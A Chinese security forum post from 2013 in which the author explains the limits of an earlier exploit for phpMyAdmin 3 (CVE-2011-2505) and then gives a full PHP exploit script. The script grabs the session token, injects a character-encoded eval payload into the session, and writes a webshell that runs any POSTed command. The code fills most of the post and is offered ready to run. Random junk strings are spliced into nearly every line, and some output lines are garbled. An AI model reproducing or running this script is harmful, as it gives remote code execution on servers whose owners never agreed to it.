找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2108|回复: 0
打印 上一主题 下一主题

phpadmin3 remote code execute php版本exploit

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-21 09:13:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。4 k5 T0 `0 k( r

# B# r- e6 S4 Z' e昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
/ }- d( b1 c2 C2 z
! ?4 J# v# }; v首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:7 l8 N) K# E# x4 y7 o% e. Y
一是session.auto_start = 1;
' v0 V0 w2 e' i7 o! y) j" B二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
- e# r: n% u8 }. k! C; t' }" i4 j+ o当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。& r/ m' `+ [% \/ A

1 }. z8 J2 @* {; H0 M在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。- d2 }- `; [2 E) S5 P3 r
' q7 p% |$ q6 M3 }' ]
于是写了这个php版本的exp,代码如下:
, W; P6 I( _: R) d" J+ a: Y
2 c2 _: [; v6 O% N8 Q4 {) U- Y#!/usr/bin/php, k& N* d/ K! @1 `+ E/ t2 S5 P$ |
<?php
9 s# f- S# \. g% Vprint_r('
" t6 D2 }# c+ ]" x' w  K- ~+---------------------------------------------------------------------------+
1 B7 p9 i4 x: P* v/ a9 ~" s1 Zpma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]3 }+ L, t, o: ]
by oldjun(www.oldjun.com); b# L$ q* A1 o' f) v# T
welcome to www.t00ls.net
5 w$ w$ U1 o5 B$ ^5 A$ |+ @5 Gmail: oldjun@gmail.com9 q4 _5 W8 M7 P+ V0 B/ ^" k5 N
Assigned CVE id: CVE-2011-2505
+ e: `! @1 E* T& F# {+---------------------------------------------------------------------------+6 D  M& |( y9 V3 j% [
');
" q' }9 T. _  l7 i/ X9 u# L/ f
, p8 I% `0 }8 y5 _. g3 i/**
( G5 T, H: q2 n9 D& O% Q* i * working when the directory:"config" exists and is writeable.9 s" x" P6 s2 x8 @% T
**/5 v2 r' h2 X5 ]; _+ Y1 R! `1 M
# J  J6 P% ^, J* U4 T3 R9 ]( B" V
if ($argc < 3) {
% V9 X1 \5 F8 B* s* P& u0 U0 Q    print_r('! N  V3 ]% O  u
+---------------------------------------------------------------------------+
' `' ^1 w% s8 v" M" bUsage: php '.$argv[0].' host path: S$ }5 u! S7 x5 s3 K% u  \
host:      target server (ip/hostname)  k% {% A6 D. Y% P: f- r! m1 e+ D
path:      path to pma3
6 y9 \. V2 R8 G* ?9 _0 X4 zExample:1 g5 B/ j. y* d( x5 N: A
php '.$argv[0].' localhost /pma/  E- E. M  M2 G8 d- O% [
+---------------------------------------------------------------------------+2 @( y" {5 j2 ]/ O8 J( p% a" f' \
');# J; a) D/ P1 Z& u6 R
    exit;* e) g) S$ A7 `0 o3 E
}
6 \% |8 ]' Q: c; i: a  M. J
5 V& F' m) ~1 E0 W, z  T  R$host = $argv[1];2 M# p1 G/ q& d$ B% Z  K) T* T1 s
$path = $argv[2];
/ c. O! m8 r& U) q. x5 i/ y% Z. h4 }  H# r& x, M
/*** Z: m9 t3 h" @
* Try to determine if the directory:"config" exists) `* ^8 g' A. B& f. v8 A0 X8 |
**/& F$ ~( [5 b; v5 c+ o% w& N; x; F
echo "[+] Try to determine if the directory:config exists....\n";
0 s" [% v0 u4 M% }) y6 L' ?: z. r+ Z$returnstr=php_request('config/');; A0 s7 Y/ f0 k$ O! S7 ]
if(strpos($returnstr,'404')){  r" |. Z+ g  [4 J
    exit("[-] Exploit Failed! The directory:config do not exists!\n");6 }; f& L) B% |$ a- s
}, G( v! ]0 C! `' [5 i) z
/ {$ E4 _  D8 k( R& s
/**8 H6 {+ ?3 f  ]  ~* R
* Try to get token and sessionid% C9 L, y* g) x) g0 [  R9 V. x
**/  ~6 w6 _, a9 H8 r/ v& L' _
echo "[+] Try to get token and sessionid....\n";
/ q) L# x( n0 d) @8 ]$result=php_request('index.php');
% `" Y- |+ p% [' d6 J  ~preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);4 o: b+ D* K4 z" r
$token=$resp[3];
9 u- N3 E# }5 `0 \$sessionid=$resp[1];
( F) m* n- D- D7 {# Mif($token && $sessionid){2 l( a: U5 W4 c! F7 L$ m0 T9 g
    echo "[+] tokentoken\n";
* X2 z4 v1 j, `7 e( ^! ^. g% o    echo "[+] Session IDsessionid\n";, [8 f1 H. z1 x, E/ f3 e
}else{
8 y, x) i% s) r; W/ R6 j& r    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
* u" @- z' B4 }. \: [  F3 p9 e# B}& z0 e0 P8 Q) v# H: ]1 `

' f' ^0 k1 A9 x6 A7 s5 t% o2 U/**. J: u; q, C, Z( |: h0 ~
* Try to insert shell into session3 Y! p" ^! h' E" I5 G
**/0 f2 ?% g" ?; a- l1 C' u- ^
echo "[+] Try to insert shell into session....\n";% H( u' ?% N5 U1 j# [$ M
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
( F" {- ^# ?! Q: C5 @  n
( s/ b& c* n; I2 {/**; ~( W% a! s4 o. n
* Try to create webshell
* {' o* {/ x8 E% J3 p7 U**/
$ M$ t3 i, ?6 f& S9 {$ n$ P& ~( Recho "[+] Try to create webshell....\n";
% e" J: s7 Z' Jphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
3 @; p4 S% O0 H, y2 l, Q8 \2 Z/**
1 _3 l! x8 S- k2 A  b% W * Try to check if the webshell was created successfully
& C+ S, u+ b! ^- Z3 B- h) ?& }**/
4 c, b, B. j( n$ @( m, g$ Cecho "[+] Try to check if the webshell was created successfully....\n";
' b$ H# q# B) n" \" D1 X& U$content=php_request('config/config.inc.php');4 c* D5 G; {9 d8 L) }
if(strpos($content,'t00ls')){
, j7 M( a, [+ u5 j7 z    echo "[+] Congratulations! Expoilt successfully....\n";
* Y+ _, W8 y2 a3 k* l, a4 H- _    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
$ d3 s7 n! ~5 ?, s; P& B- M}else{! C, l6 L; B6 {7 D5 G
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
  a+ X# O- G" Q/ |( \: O}
4 k" u4 O: j- @  a
& |7 S+ {, C: K* }4 s; Z) }/ sfunction php_request($url,$data='',$cookie=''){. f1 H4 i8 S% z. N( w$ Y1 W
    global  $host, $path;
3 s4 S! [9 V/ c& P6 C2 y2 \3 K   
6 y: r6 D$ E3 D& P0 l8 W    $method=$data?'POST':'GET';
1 ^- }9 O* E: ]8 Y* Q7 |  D   
+ o! R6 `3 n  r, |1 C# r) E    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
0 L8 ?2 o! v+ O3 k8 |# i; _    $packet .= "Accept: */*\r\n";
. B" Q! ^5 u+ ?    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
  \2 ^" j# ], G& y$ ]    $packet .= "Host: $host\r\n";* f* ~) f" C# I7 b
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";+ m' L( h# s# n1 y5 D# Y6 X" W+ l
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";8 M4 _3 d( O5 ~0 Q: ^
    $packet .= $cookie?"Cookie: $cookie\r\n":"";8 A$ G& `% k. H. Q
    $packet .= "Connection: Close\r\n\r\n";
! r# q6 F* `: J    $packet .= $data?$data:"";( b' O+ A, T8 f9 H
# t" l3 i9 G) [8 {
    $fp = fsockopen(gethostbyname($host), 80);3 ~& w4 H7 N. w8 n& |& \
    if (!$fp) {
8 ~" Q. ?" v6 ~, z    echo 'No response from '.$host; die;, b5 ^* D5 G" J: U
    }
1 {9 l5 l" w$ \7 A4 Z$ o& O    fputs($fp, $packet);+ v6 F/ a$ t  n) o4 ^
  [, `, H$ G- X1 {" S3 y6 O
    $resp = '';3 l( I' M  i- b  v( g

; b( J6 A7 \2 d' e  B% @' y    while ($fp && !feof($fp))4 ^$ ?' {& B! w/ b$ C- O) \1 @
        $resp .= fread($fp, 1024);! f# z; H$ O. y

' Q6 Q+ B& e1 k4 u- y    return $resp;- O: _- H$ L% Q1 K; c1 C
}* k- S! i/ v3 y3 C; a
    0 Y: ~) U* S# l4 ^
?>
0 d9 E8 u0 E! u.
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表